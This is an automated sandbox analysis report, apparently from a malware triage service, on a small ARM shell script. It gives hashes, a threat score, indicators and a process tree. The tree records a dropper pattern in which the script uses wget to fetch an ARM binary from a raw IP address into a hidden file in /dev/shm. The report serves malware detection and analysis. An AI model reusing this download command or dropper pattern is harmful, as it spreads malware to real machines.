e0d57d5b75373238c4164f9fa1844db5027093df0de9c36eb7fe52fa4d1bc846

Analysis

max time kernel
143s
max time network
145s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02/07/2026, 10:43

Target
_e0d57d5b75373238c4164f9fa1844db5027093df0de9c36eb7fe52fa4d1bc846.sh
Size 2KB
Sample260702-mscvcaew3l
SHA256 e0d57d5b75373238c4164f9fa1844db5027093df0de9c36eb7fe52fa4d1bc846
MD5 34cfb9d1a977bd4f509752007a87419d
SHA1 b08f4dc352629e24078556670729a7e00f71ed38
SHA512 5518bcb46c1199ea59daef0a229a81d33d85f79065167c152ee0dd096d7ff7b59c6d3693c13db39d443523e886d9cf55687d21846009702612da707bdf148c49
TLSH
T1CB41CE91FC63882275EB04A56FAA51853487846F8114FC6BBDCFB96C7F78869B02C324
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/sys/kernel/random/uuid	cat

Writes file to shm directory 1 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/.7f2d41df	wget

/tmp/_e0d57d5b75373238c4164f9fa1844db5027093df0de9c36eb7fe52fa4d1bc846.sh
/tmp/_e0d57d5b75373238c4164f9fa1844db5027093df0de9c36eb7fe52fa4d1bc846.sh
1⤵
PID:638
- /bin/uname
  uname -m
  2⤵
  PID:639
- /bin/cat
  cat /proc/sys/kernel/random/uuid
  2⤵
  - Reads runtime system information
  PID:644
- /usr/bin/tr
  tr -d -
  2⤵
  PID:645
- /usr/bin/cut
  cut -c1-8
  2⤵
  PID:647
- /bin/rm
  rm -f /dev/shm/.7f2d41df
  2⤵
  PID:651
- /usr/bin/wget
  wget -q -O /dev/shm/.7f2d41df http://176.65.139.191/gxwbqie.arm7
  2⤵
  - Writes file to shm directory
  PID:654